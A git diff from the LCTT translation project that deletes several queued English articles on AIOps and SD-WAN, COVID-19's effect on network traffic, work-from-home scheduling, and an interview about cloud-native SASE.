embrace it. AI can remove human error—which is the largest cause of unplanned network downtime—and help businesses focus on higher-level tasks instead. - -### AI-WAN will transform network operations - -So how will the evolution of SD-WAN into AI-WAN transform network management and operations? Administrators can use their time to focus on strategic initiatives instead of fixing problems. Another data point from ZK Research is that 90% of the time taken to fix a problem is spent identifying the source. Now that applications reside in the cloud and run on mobile devices, identifying the source of a problem has gotten harder. AI-WANs have the ability to spot even the smallest anomaly, even if it hasn't yet begun to impact business. - -SD-WANs are fundamentally designed so that all routing rules are managed centrally by administrators and can be transmitted across a network. AI-WAN takes it a step further and enables administrators to anticipate problems before they happen through fault prediction. It may even adjust network glitches on its own before users are affected, thus improving network performance. - -[][3] - -A self-driving car knows the rules of the road—where the blind spots are, how to synch with traffic signals, and which safety measures to take—using AI software, real-time data from IoT sensors, cameras, and much more. Similarly, a self-driving network knows the higher-level rules and can prevent administrators from making mistakes, such as allowing applications in countries where certain actions are banned.  - -Security is another concern. Everything from mobile devices to Internet of Things (IoT) to cloud computing is creating multiple new entry points and shifting resources to the network edge. This puts businesses at a security risk, as they struggle to respond to changes quickly. - -Businesses can miss security gaps created by users, with hundreds of software-as-a-service (SaaS) apps being used at the same time without IT's knowledge. Older networking technologies cannot support SaaS and cloud services, while SD-WANs can. But simply deploying an SD-WAN is not enough to protect a network. Security shouldn't be an afterthought in an SD-WAN deployment, but part of it from the get-go. - -Increasingly, vendors are bundling AI-based analytics with SD-WAN solutions to boost network security. Such solutions use AI to analyze how certain events impact the network, application performance, and security. Then, they create intelligent recommendations for any network changes, such as unauthorized use of SaaS apps. - -Going back to the autonomous car analogy, AI-WANs are designed to keep roads clear and accident-free. They enable smarter networks that can adapt quickly to changing conditions and self-heal if necessary. With the growing demands of cloud computing and SaaS apps, intelligent networks are the future and forward-thinking businesses are already in the driver’s seat. - -### AI-WAN exists today and will explode in the future - -AI-WAN may seem futuristic, but there are a number of vendors that are delivering it or in the process of bringing solutions to market. Managed service provider Masergy, for example, recently introduced [AIOps for SD-WAN][4] to deliver autonomous networking and has the most complete offering. - -Open System, another managed service provider, [snapped up cloud-based Sqooba][5] to add AIOps to its strong network and security services. Keeping with the M&A theme, VMware recently [acquired AIOps vendor Nyansa][6] and rolled it into its VeloCloud SD-WAN group. That move gives VMware similar capabilities to [Aruba Networks][7], which initially applied AI to WiFi troubleshooting but is now bringing it to its SD-Branch offering. [Cisco][8] is another networking vendor with an AIOps story, although it's trying to apply it network-wide, not just with the WAN.  - -Over time, I expect every SD-WAN or SASE vendor to bring AIOps into the fold, shifting the focus away from connectivity to automated operations. - -**Learn more about SD-WAN** - - * [Top 10 underused SD-WAN features][9] - * [SD-WAN: The inside scoop from real-world deployments][10] - * [5 reasons to choose a managed SD-WAN and 5 reasons to think twice][11] - * [10 essential SD-WAN considerations][12] - * [SD-WAN: What is it and why you’ll use it one day][13] - * [SD-WAN deployment options: DIY vs. cloud managed][14] - * [How SD-WAN can improve your security strategy][15] - * [10 hot SD-WAN startups to watch][16] - * [How SD-WAN saves $1.2M over 5 years for a radiology firm][17] - * [SD-WAN creates new security challenges][18] - - - -Join the Network World communities on [Facebook][19] and [LinkedIn][20] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3533437/the-coming-together-of-aiops-and-sd-wan.html - -作者:[Zeus Kerravala][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Zeus-Kerravala/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3031279/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[2]: https://www.networkworld.com/article/3338100/using-ai-to-improve-network-capacity-planning-what-you-need-to-know.html -[3]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[4]: https://techcrunch.com/2020/03/19/nvidia-makes-its-gpu-powered-genome-sequencing-tool-available-free-to-those-studying-covid-19/?guccounter=1&guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&guce_referrer_sig=AQAAAMI6we4H-fTz2mf5g-l6IP27C1O-V-u6EiQuJ5QzVnlrrPU04iS0fhyrZo5U8q5rAk5I9uVW5PQYKHX8ziMdWrFBxhBP7f__JshmAGevyu4Z5zm98nDnC6nEdIekjVX4RPPmF9Q_PImcQ0opZy6JukS-DZA62tHI9R7D1Q2JAog7 -[5]: https://open-systems.com/press-release/open-systems-acquires-sqooba -[6]: https://www.vmware.com/company/acquisitions/nyansa.html -[7]: https://blogs.arubanetworks.com/solutions/ai-doing-more-with-less-in-2020-and-beyond/ -[8]: https://www.cisco.com/c/en/us/products/cloud-systems-management/crosswork-network-automation/service-centric-approach-to-aiops.html#~overview -[9]: https://www.networkworld.com/article/3518992/top-10-underused-sd-wan-features.html -[10]: https://www.networkworld.com/article/3316568/sd-wan/sd-wan-the-inside-scoop-from-real-world-deployments.html -[11]: https://www.networkworld.com/article/3431080/5-reasons-to-choose-a-managed-sd-wan-and-5-reasons-to-think-twice.html -[12]: https://www.networkworld.com/article/3355138/sd-wan-10-essential-considerations.html -[13]: https://www.networkworld.com/article/3031279/sd-wan/sd-wan-what-it-is-and-why-you-ll-use-it-one-day.html -[14]: https://www.networkworld.com/article/3243701/wide-area-networking/sd-wan-deployment-options-diy-vs-cloud-managed.html -[15]: https://www.networkworld.com/article/3336483/how-sd-wan-can-improve-your-security-strategy.html -[16]: https://www.networkworld.com/article/3284367/sd-wan/10-hot-sd-wan-startups-to-watch.html -[17]: https://www.networkworld.com/article/3255291/lan-wan/sd-wan-helps-radiology-firm-cut-costs-scale-bandwidth.html -[18]: https://www.networkworld.com/article/3336155/sd-wan-creates-new-security-challenges.html -[19]: https://www.facebook.com/NetworkWorld/ -[20]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200326 ROLLING UPDATE- The impact of COVID-19 on public networks and security.md b/sources/talk/20200326 ROLLING UPDATE- The impact of COVID-19 on public networks and security.md deleted file mode 100644 index 7f8c0a2cd8..0000000000 --- a/sources/talk/20200326 ROLLING UPDATE- The impact of COVID-19 on public networks and security.md +++ /dev/null @@ -1,119 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (ROLLING UPDATE: The impact of COVID-19 on public networks and security) -[#]: via: (https://www.networkworld.com/article/3534037/rolling-update-the-impact-of-covid-19-on-public-networks-and-security.html) -[#]: author: (Michael Cooney https://www.networkworld.com/author/Michael-Cooney/) - -ROLLING UPDATE: The impact of COVID-19 on public networks and security -====== -Network World updates the latest coronavirus-related networking news -Ig0rZh / Getty Images - -_As the coronavirus spreads, public and private companies as well as government entities are requiring employees to work from home, putting unforeseen strain on all manner of networking technologies and causing bandwidth and security concerns.  What follows is a round-up of news and traffic updates that Network World will update as needed to help keep up with the ever-changing situation.  Check back frequently!_ - -**UPDATE 3.27** - -Broadband watchers at [BroadbandNow][1] say users in most of the cities it analyzed are experiencing normal network conditions, suggesting that ISP’s (and their networks) are holding up to the shifting demand. In a March 25 [post][2] the firm wrote: “Encouragingly, many of the areas hit hardest by the spread of the coronavirus are holding up to increased network demand. Cities like Los Angeles, Chicago, Brooklyn, and San Francisco have all experienced little or no disruption. New York City,  now the epicenter of the virus in the U.S., has seen a 24% dip out of its previous ten-week range. However, with a new median speed of nearly 52 Mbps, home connections still appear to be holding up overall.” - -**[ Also see [What to consider when deploying a next generation firewall][3]. | Get regularly scheduled insights by [signing up for Network World newsletters][4]. ]** - -Other BroadbandNow findings included: - - * Eighty eight (44%) of the 200 cities it analyzed experienced some degree of network degradation over the past week compared to the 10 weeks prior. However, only 27 (13.5%) cities experienced dips of 20% below range or greater. - * Seattle download speeds have continued to hold up over the past week, while New York City’s speeds have fallen out of range by 24%. Both cities are currently heavily affected by the coronavirus pandemic. - * Three cities – Austin, Texas, Winston Salem, N.C., and Oxnard, Calif. – have experienced significant degradations, falling out of their 10-week range by more than 40%. - - - -Cisco’s Talos threat-intelligence arm [wrote][5] on March 26 about the COVID security threat noting what it called three broad categories of attacks leveraging COVID with known advanced persistent threat participation in: [Malware and phishing campaigns][6] using COVID-themed lures; attacks against organizations that carry out research and other work related to COVID; and fraud and disinformation. From an enterprise security perspective, Talos recommended: - - * Remote access: Do not expose Remote Desktop Protocol (RDP) to the internet. Use secure VPN connections with multi-factor authentication schemes. Network access control packages can be used to ensure that systems attempting to remotely connect to the corporate environment meet a minimum set of security standards such as anti-malware protection, patch levels, etc,. prior to granting them access to corporate resources. Continually identify and remediate access-policy violations. - * Identity Management: Protect critical and public-facing applications with multi-factor authentication and supporting corporate policies. Verify that remote-account and access-termination capabilities work as intended in a remote environment. - * Endpoint Control: Because many people may be working from home networks, endpoint visibility, protection, and mitigation is now more important than ever. Consider whether remediation and reimaging capabilities will work as intended in a remote environment. Encrypt devices where possible, and add this check to your NAC solution as a gate for connectivity. Another simple method of protecting endpoints is via DNS, such as with [Cisco’s] Umbrella, by blocking the resolution of malicious domains before the host has a chance to make a connection. - - - -In an [FAQ][7] about the impact of COVID-19 on fulfilling customer hardware orders, VMware stated: “Some VMware SD-WAN hardware appliances are on backorder as a result of supply chain issues. As a result, we are extending the option to update existing orders with different appliances where inventory is more readily available. Customers may contact a special email hotline with questions related to backordered appliances. Please send an email to [sd-wan-hotline@vmware.com][8] with your questions and include the order number, urgent quantities, and contact information. We will do our best to respond within 48 hours.” - -Cisco said it has been analyzing traffic statistics with major carriers across Asia, Europe, and the Americas, and its data shows that typically, the most congested point in the network occurs at inter-provider peering points, Jonathan Davidson, senior vice president and general manager of Cisco's Mass-Scale Infrastructure Group wrote in a [blog][9] on March 26. “However, the traffic exchanged at these bottlenecks is only a part of the total internet traffic, meaning reports on traffic may be higher overall as private peering and local destinations also contribute to more traffic growth.” - -[][10] - -“Our analysis at these locations shows an increase in traffic of 10% to 33% over normal levels. In every country, traffic spiked with the decision to shut down non-essential businesses and keep people at home. Since then, traffic has remained stable or has experienced a slight uptick over the days that followed,” Davidson stated. - -He said that traffic during peak hours from 6 p.m. and 10 p.m. has increased slightly, but is not the primary driver for the overall inrease. Busy hours have extended to 9 a.m. 10 p.m., although the new busy-hour (9 a.m. to 6 p.m.) traffic is still below the traditional peak hours. "Service providers are certainly paying attention to these changes, but they are not yet a dire concern, as most networks are designed for growth. Current capacities are utilized more over the course of the entire day,” he wrote. - -Spanish multinational telecommunications company [Telefonica][11]’ said IP networks are experiencing traffic increases of close to 40% while mobile voice use is up about 50% and data is up 25%. In general, traffic through IP networks has experienced increases of nearly 40% while mobile use has increased by about 50% for voice and 25% for data. Likewise, traffic from instant-messaging tools such as Whatsapp has increased fivefold in recent days. - -**UPDATE: 3.26** - - * Week over week (ending March 23) [Ookla][12] says it has started to see a degradation of mobile and fixed-broadband performance worldwide. More detail on specific locations is available below. Comparing the week of March 16 to the week of March 9, mean download speed over mobile and fixed broadband decreased in Canada and the U.S. while both remained relatively flat in Mexico. - * What is the impact of the coronavirus on corporate network planning? Depends on how long the work-from-home mandate goes on really. Tom Nolle, president of CIMI Corp. [takes an interesting look at the situation][13] saying the shutdown “could eventually produce a major uptick for SD-WAN services, particularly in [managed service provider]    Businesses would be much more likely to embark on an SD-WAN VPN adventure that didn’t involve purchase/licensing, favoring a service approach in general, and in particular one with a fairly short contract period.” - * Statistics from VPN provider [NordVPN][14] show the growth of VPN usage across the globe.  For example, the company said the US has experienced a 65.93% growth in the use of business VPNs since March 11. It reported that mass remote working has contributed towards a rise in desktop (94.09%) and mobile app (0.39%) usage among Americans. Globally, NordVPN teams has seen a 165% spike in the use of business VPNs and business VPN usage in Netherlands (240.49%), Canada (206.29%) and Austria (207.86%) has skyrocketed beyond 200%. Italy has had the most modest growth in business VPN usage at just 10.57%. - - - -**UPDATE: 3. 25**: - - * According to [Atlas VPN][15] user data, VPN usage in the US increased by 124% during the last two weeks. VPN usage in the country increased by 71% between March 16 and 22 alone. Atlas said it measured how much traffic traveled through its servers during that period compared to March 9 to 15. The data came from the company's 53,000 weekly users. - * Verizon [reports][16] that voice usage, long declining in the age of texting, chat and social media, is up 25% in the last week. The network report shows the primary driver is accessing conference calls. In addition, people are talking longer on mobile devices with wireless voice usage notching a 10% increase and calls lasting 15% longer.  - * AT&T also [reported][17] increased calling, especially Wi-Fi calling, up 88% on March 22 versus a normal Sunday. It says that consumer home voice calls were up 74% more than an average Sunday; traffic from Netflix dipped after all-time highs on Friday and Saturday; and data traffic due to heavy video streaming between its network and peered networks tied record highs. AT&T said it has deployed portable cell nodes to bolster coverage supporting FirstNet customers in Indiana, Connecticut, New Jersey, California and New York. - * Microsoft this week advised users of Office 365 it was throttling back some services: - * **OneNote: ** OneNote in Teams will be read-only for commercial tenants, excluding EDU. Users can go to OneNote for the web for editing. Download size and sync frequency of file attachments has been changed. You can find details on these and other OneNote related updates as . - * **SharePoint:** We are rescheduling specific backend operations to regional evening and weekend business hours. Impacted capabilities include migration, DLP and delays in file management after uploading a new file, video or image. Reduced video resolution for playback videos. - * **Stream:** People timeline has been disabled for newly uploaded videos. Pre-existing videos will not be impacted. Meeting recording video resolution adjusted to 720p. - - - -**RELATED COVID-19 NEWS:** - - * Security vendor [Check Point’s Threat Intelligence][18] says that Since January 2020, there have been over 4,000 coronavirus-related domains registered globally. Out of these websites, 3% were found to be malicious and an additional 5% are suspicious. Coronavirus- related domains are 50% more likely to be malicious than other domains registered at the same period, and also higher than recent seasonal themes such as Valentine’s day. - * [Orange][19] an IT and communications **services** company aid that has increased its network capacity and upgraded its service platforms. These measures allow it to support the ongoing exponential increase in needs and uses. The number of users connecting to their company's network remotely has already increased by 700% among its customers. It has also doubled the capacity for simultaneous connections on its platforms. The use of remote collaboration solutions such as video conferencing has also risen massively with usage increasing by between 20% to 100%. - * Verizon said it has seen a 34% increase in VPN traffic from March 10 to 17. It has also seen a 75% increase in gaming traffic and web traffic increased by just under 20% in that time period according to Verizon. - * One week after the CDC declaration of the virus as a pandemic, data analytics and broadband vendor OpenVault wrote on March 19 that: - * Subscribers’ average usage during the 9 am-to-5 pm daypart has risen to 6.3 GB, 41.4% higher than the January figure of 4.4 GB.  - * During the same period, peak hours (6 pm–11 pm) usage has risen 17.2% from 5.0 GB per subscriber in January to 5.87 GB in March.  - * Overall daily usage has grown from 12.19 GB to 15.46 GB, an increase of 26.8%. - * Based on the current rate of growth, OpenVault projected that consumption for March will reach nearly 400 GB per subscriber, an increase of almost 11% over the previous monthly record of 361 GB, established in January of this year. In addition, OpenVault projects a new coronavirus-influenced run rate of 460 GB per subscriber per month going forward. - - - -Join the Network World communities on [Facebook][20] and [LinkedIn][21] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3534037/rolling-update-the-impact-of-covid-19-on-public-networks-and-security.html - -作者:[Michael Cooney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Michael-Cooney/ -[b]: https://github.com/lujun9972 -[1]: https://broadbandnow.com/ -[2]: https://broadbandnow.com/report/internet-speed-analysis-march-15th-21st/ -[3]: https://www.networkworld.com/article/3236448/lan-wan/what-to-consider-when-deploying-a-next-generation-firewall.html -[4]: https://www.networkworld.com/newsletters/signup.html -[5]: https://blog.talosintelligence.com/2020/03/covid-19-pandemic-threats.html -[6]: https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html -[7]: https://www.vmware.com/company/news/updates/vmware-response-covid-19.html?mid=31381&eid=CVMW2000048242496 -[8]: mailto:sd-wan-hotline@vmware.com -[9]: https://blogs.cisco.com/news/global-traffic-spikes-no-panic-at-the-cisco -[10]: https://www.networkworld.com/blog/itaas-and-the-corporate-storage-technology/?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE22140&utm_content=sidebar (ITAAS and Corporate Storage Strategy) -[11]: https://www.telefonica.com/en/web/press-office/-/telefonica-announces-measures-related-to-covid-19 -[12]: https://downdetector.com/?utm_campaign=Ookla%20Insights%20Blog%20Subscription&utm_source=hs_email&utm_medium=email&utm_content=85202785&_hsenc=p2ANqtz--Nj93d_eQyJpsqxrPJyNPtTiMBWBQU984psLyalw51K61e4d1WODareMF5NWFriHY2Uzw3WF7rF-2vSfH5cR53Jg3K5Q&_hsmi=85202785 -[13]: https://blog.cimicorp.com/?p=4068 -[14]: https://nordvpnteams.com/ -[15]: https://atlasvpn.com/blog/lockdowns-and-panic-leads-to-a-124-surge-in-vpn-usage-in-the-us/ -[16]: https://www.verizon.com/about/news/update-verizon-serve-customers-covid-19 -[17]: https://about.att.com/pages/COVID-19.html -[18]: https://blog.checkpoint.com/2020/03/05/update-coronavirus-themed-domains-50-more-likely-to-be-malicious-than-other-domains/ -[19]: https://www.orange.com/en/Press-Room/press-releases/press-releases-2020/Orange-is-mobilised-to-ensure-continuity-of-service-for-all-customers-in-France-and-around-the-world -[20]: https://www.facebook.com/NetworkWorld/ -[21]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200327 6 tricks for developing a work from home schedule.md b/sources/talk/20200327 6 tricks for developing a work from home schedule.md deleted file mode 100644 index 9253f824fd..0000000000 --- a/sources/talk/20200327 6 tricks for developing a work from home schedule.md +++ /dev/null @@ -1,108 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (6 tricks for developing a work from home schedule) -[#]: via: (https://opensource.com/article/20/3/work-from-home) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -6 tricks for developing a work from home schedule -====== -Stay flexible, embrace change, and think of the transition to your home -office as an opportunity to create a healthier WFH experience. -![Working from home at a laptop][1] - -When you start working from home, one of the first things you might have noticed is that there almost no outside influences on your schedule. - -You probably have meetings—some over [team chat][2] and others over [video][3]— that you have to attend, but otherwise, there's nothing requiring you to do anything at any specific time. What you find out pretty quickly, though, is that there's an invisible influence that sneaks up on you: deadlines. - -This lack of structure fosters procrastination, sometimes willful and other times aimless, followed by frantic sprints to get something done. Learning to mitigate that, along with all the distractions working from home might offer, is often the hardest part of your home-based work. - -Here are a few ways to build in that structure for yourself do you don't end up feeling like you are falling behind. - -### You have always had your own schedule - -Everybody reacts to schedules differently. For some people, schedules offer guidance and comfort. For others, schedules are rigid and oppressive. - -An office space generally provides focus. There might be plenty of distractions at the office, but you usually find a good stretch of time at some point during your day when you can get a big chunk of work done. Even in an office, though, each person actually keeps their own schedule. Your colleague might arrive early in the day, happily completing a day's work in an empty office before anyone else arrives and then spending the rest of the day doing menial tasks and socializing. Another colleague might arrive late and leave early, maximizing time spent in the office for actual work. Still others follow a steady pace throughout the day. - -As you're settling into a WFH routine, take notes, either mentally or physically, on what seems to work well for you. If you like formalized systems, then build a schedule for yourself after a week or two, based on what you've been doing naturally. If there's something that isn't working for you, then drop it from your schedule. - -Once you've found a good rhythm for yourself, you can manage your day with a [to-do list][4] like [todo.txt][5], or if you prefer sledgehammers (or you actually manage a department), you can try a [project management][6] application. - -### Treat yourself as a new hire - -For the first week or two at home, you may find it helpful to treat yourself (and your remote team) as a new hire. Instead of trying to mimic or impose the same schedule you kept at the office or at school, take time to monitor your own activity. It takes time for your body and mind to establish new and comfortable habits, and if you're the kind of person who wanders into a routine, then you need to give yourself time to discover what those habits are. - -For instance, if you're consistently finding that you do your best work right after breakfast, then relegate menial tasks, like responding to email, reviewing tasks, or triaging bug reports, to the early morning, and make sure you have a big task set up for after breakfast. If you're having a hard time maintaining focus, then make time for morning tea so you can relax, reassess your workload, and plan your next step. Be curious about yourself like a manager would be for a brand new employee. Adjust accordingly. - -### There is no guilt to being interrupted at home - -Not everything on your schedule is under your control. If you have children too young for school, or if children are home from school, then their schedules take precedence. - -It's a perceived benefit of working from home that your schedule is more flexible than at an office, but with that assumption, there can sometimes come a little to a lot of guilt. You might feel you're not working "enough" because you have to stop to wake up and feed children, or because you want to take a few play breaks every now and again. - -That's mostly illusory, though, and here is how to think about it. If you swap out "children" for "manager," you might remember some times at the office where your "real" work was interrupted because you had to entertain upper management with sparkly presentations, or complete piles of paperwork for HR, or decompress by chatting with colleagues by the water cooler. - -Your work from home is really no different. There are plenty of distractions, and they're only a problem if you fail to acknowledge and work around them. - -### Making the choice to move beyond the 9-to-5 - -Unlike at the office, you're not forced into a rigid and dated 9-to-5 structure. If your day has to start at 7am, contains a lot of breaks, and doesn't end until 7pm, then that's alright. The essential part is to define that as your schedule for yourself (once you've established it as a schedule that works for you; remember to give yourself a few weeks to get a feel for what your schedule actually "wants" to be). Pick your start and end times, establish break times with your housemates, whether they're children, spouses, pets, or roommates/friends. Work when you're supposed to be working, and don't work when you're not scheduled to work. For most of us, colleagues don't need to know exactly when you are online as long as you're available when you're needed. In that case, your hours are your own. If the team is the kind that needs to know, run it by them. - -### Don't forget time for yourself - -It's important to at least establish times you stop thinking about work, no matter what. If you've got a very young child who's not given to staying on any schedule, then you might have to stay more flexible than most. Still, give yourself permission to actively be inactive. Do something you enjoy, even if it feels unproductive. It's normal to spend some idle time at the office to think or intentionally not think. Working from home deserves the same space. If anything, it's even more important as you establish working hours. The goal is to recognize when you're at home and when you're at work. - -Finding stuff to do at work is relatively easy, but sometimes finding things to do to relax can be hard. If you have children, you can collaborate with them using Scratch for [drawing beautiful art][7], [programming video games][8], or even [robotics][9]. For the times you're not necessarily looking to collaborate and need your little one to do some exploration of their own, there are some [great open source alternatives to Minecraft][10], too. If you're interested in getting away from the screen, though, you might try some [Arduino][11] or [Seeeduino][12] gardening projects. Start with some programming, and end up outside in the garden! - -### Choose to see change as exciting - -Some say humans don't generally love change and that we're primarily creatures of habit, so moving from an office into a home office can be upsetting. And yet, invariably, we've shown that change can be exciting and even good.  - -Use this thought experiment to remember how much you love change. Would you willingly revert to technology from even two years ago? How about five, or ten? - -If we can embrace change in technology and be uninterested in reverting back, why not embrace change elsewhere? - -When you work from home, you have the opportunity to be willing to explore change. If you find that a meeting time doesn't work for your schedule, mention it to your team. It may not work for them, either, and moving it to a different day could mean making room for a work sprint that knocks out a good chunk of your work for the week. If you find that a tool isn't working out for you, find a different one. - -In fact, some of the most productive people are constantly evaluating new applications and new methods of working. They're constantly learning new things, developing new skills. They don't do this because they need the new skill, at least not by the letter of their work contract, but learning new things often reveals a surprising applicability to something they do need. - -Need some examples? Tinkering with a Raspberry Pi for fun could result in a home server running [useful apps][13] to help you stay informed. [Learning][14] how to [write in Markdown][15] could introduce you to a new and more efficient workflow than you ever knew possible. Setting up a [computer with Linux][16] could reveal a new world of open source software that changes the way you approach problems, and improves the methods you use to solve them. The possibilities are limitless, but if you don't know where to start, you can browse through some of our articles or [cheat sheets][17] for ideas and tips. - -### Working from home is a new opportunity - -The habits we've built up around work aren't always healthy or efficient or fun. If you're starting to work from home, though, it's a chance to reinvent what work means for you. Keep the lines of [communication open][18] with your colleagues, embrace new ideas and the potential of change, and discover how you can be more productive by enjoying yourself and the place you call home (and **$HOME**). - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/work-from-home - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/alternatives/slack -[3]: https://opensource.com/alternatives/skype -[4]: https://opensource.com/article/19/9/to-do-list-managers-linux -[5]: https://opensource.com/article/20/1/open-source-to-do-list -[6]: https://opensource.com/article/18/2/agile-project-management-tools -[7]: https://opensource.com/article/19/9/drawing-vectors-scratch-3 -[8]: https://opensource.com/article/18/4/designing-game-scratch-open-jam -[9]: https://opensource.com/education/13/8/student-programming-scratch-and-finch -[10]: https://opensource.com/alternatives/minecraft -[11]: https://opensource.com/article/17/3/arduino-garden-projects -[12]: https://opensource.com/article/19/12/seeeduino-nano-review -[13]: https://opensource.com/article/20/2/newsboat -[14]: https://opensource.com/article/19/9/introduction-markdown -[15]: https://opensource.com/article/18/11/markdown-editors -[16]: https://opensource.com/article/19/9/found-linux-video-gaming -[17]: https://opensource.com/article/20/1/cheat-sheets-guides -[18]: https://opensource.com/article/20/3/open-source-working-home diff --git a/sources/talk/20200330 Know the benefits of cloud-native networking for SASE.md b/sources/talk/20200330 Know the benefits of cloud-native networking for SASE.md deleted file mode 100644 index e4c38f352e..0000000000 --- a/sources/talk/20200330 Know the benefits of cloud-native networking for SASE.md +++ /dev/null @@ -1,82 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Know the benefits of cloud-native networking for SASE) -[#]: via: (https://www.networkworld.com/article/3534720/know-the-benefits-of-cloud-native-networking-for-sase.html) -[#]: author: (Zeus Kerravala https://www.networkworld.com/author/Zeus-Kerravala/) - -Know the benefits of cloud-native networking for SASE -====== -Shlomo Kramer, CEO of Cato Networks discusses the benefits cloud-native networking brings to SASE -Metamorworks / Getty Images - -Gartner has positioned secure access service edge (SASE) as the next wave of SD-WANs. While most industry people I talk to agree on the concept of security and networking being brought together, there is some debate surrounding cloud-native versus cloud-managed. - -To get a better understanding of why cloud native matters, I sat down with Shlomo Kramer, CEO of Cato Networks, which designed its SASE service from the ground up for cloud delivery. - -**Last year Gartner coined the term SASE, do you agree or disagree with their premise?** - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][1] - -Well I definitely agree.  The manifesto that Cato was founded on was the vision of converging network transport and network security and delivering it as a cloud service. The argument as to why you need SASE is topological in nature because traffic patterns have changed. Network traffic used to be inward bound because people sat at their desks, using corporate workstations and connecting to enterprise applications that resided in the company data centers. - -That meant security was effectively a hard shell placed around a soft core.  Security was applied at the edge and protected all the physical locations behind it. Today, the traffic patterns have changed, and the security needs to be applied everywhere.  Applications are built in AWS as well as on-premises, workers are in the office, at home and in the hotel or anywhere.  So now corporate assets are everywhere so the hard shell no longer works.  Security needs to be different and be integrated everywhere so I absolutely agree with the concept of SASE. - -**What are some other challenges with legacy technologies like MPLS and security appliances?** - -**T**he problems with MPLS are well documented, so I won’t spend too much time on this topic other than say every company we talk to wants to move off of MPLS because of high costs, long deployment times and a lack of agility.  MPLS does nothing for mobile users or cloud connectivity so organizations need to deploy VPN servers, cloud interconnects and other technologies to connect all of their company resources. - -[][2] - -On the security side, branch appliances have been an enormous problem that we as an industry accepted as the only possible solution.  Appliances need to be procured, deployed, maintained, upgraded and retired. All of which takes time and effort. They need to be integrated with one another, which requires more time and skills. Most appliances are managed from separate management consoles making operations complex and challenging.  Over time, more appliances are added, which raises the complexity level.  Also, when traffic jumps or too many features are turned on, upgrades are often required outside budget cycles.  Security professionals often lag behind when applying software patches because updating appliances is risky and needs to be carefully planned, leaving the company at risk. - -I can go on, but _appliances_ as an architecture involve too many headaches and too much cost for companies looking to become leaner and more agile. And by appliances, I also mean VNFs and virtual appliances. It's the same story again. You still need to deploy, manage and scale them. Appliances are a poor choice not because of anyone's solution's limitations but because of the architecture itself. - -**What benefit do cloud-native platforms provide?** - -For Gur (Co-Founder of Cato, Gur Shatz) and myself, who came from the security and networking worlds, we were well acquainted with these problems. As we thought about what the right architecture would be moving forward, the cloud seemed like the obvious choice. We had already seen how cloud computing changed markets for data centers, servers, storage, and applications. We thought the cloud could do the same for security and networking.  - -Like AWS for data centers and servers, we wanted to create a utility that would secure and network the complete enterprise, not just sites, but also remote users, cloud data centers, cloud applications, and third-party devices. We wanted enterprises to "tap" into this utility and instantly receive all the advanced security and networking services for the entire organization. It's why we called our SD-WAN device the "Cato Socket," like an electrical socket you plug into. This vision is in line with the SASE definition. - -Instead of appliances, we move the “heavy lifting” involved in security and networking into a global, distributed, cloud-native software platform. By cloud-native software, we mean several things.  We actually wrote a [blog on this topic][3] that talks about the value of cloud-native.  There are many benefits but in particular, multi-tenancy is game-changing. This allows cloud providers to amortize costs across their customer base, allowing them to deliver offerings at a price point unmatched by one based on purchasing appliances for customers.  - -This platform runs our single-pass, security and networking stack that performs all security inspections in parallel. A packet comes in, depacketized and decrypted by our software that then performs all the necessary security inspections in parallel before sending the packet on.  This is an incredible change from the way appliances work today. Today, each appliance must depacketize and decrypt packets, run a deep packet inspection (DPI) engine to understand the packet, apply the specific security inspections, and repacketize and re-encrypt for the next appliance to do the same.   - -**You’ve also stated that a global private network is necessary, why is that?** - -As for the network, enterprises require predictable, low latency performance everywhere all the time. That's simply not possible with Internet routing today when broadband is used. While the problems of unpredictable latency across global routes or in under-developed Internet regions is well known even within Internet regions, we've seen specific routes have problems.   - -How do you overcome latency AND the global connectivity costs of MPLS? Our answer was to leverage the massive build-out in global IP connectivity. By buying massive wholesale SLA-backed capacity across multiple IP backbones, and then dynamically selecting the best backbone at each hop across our network, we could deliver global, low-latency connections at a fraction of the cost of MPLS.    - -**The SASE industry is currently filled with start-ups and smaller vendors.  Why are the big incumbents struggling to make this shift?** - -** ** - -I think it should be evident by now, but existing appliance-based solutions simply can't be converted to become cloud-native. Re-engineering a platform for the cloud requires massive investments in R&D, which will come at the expense 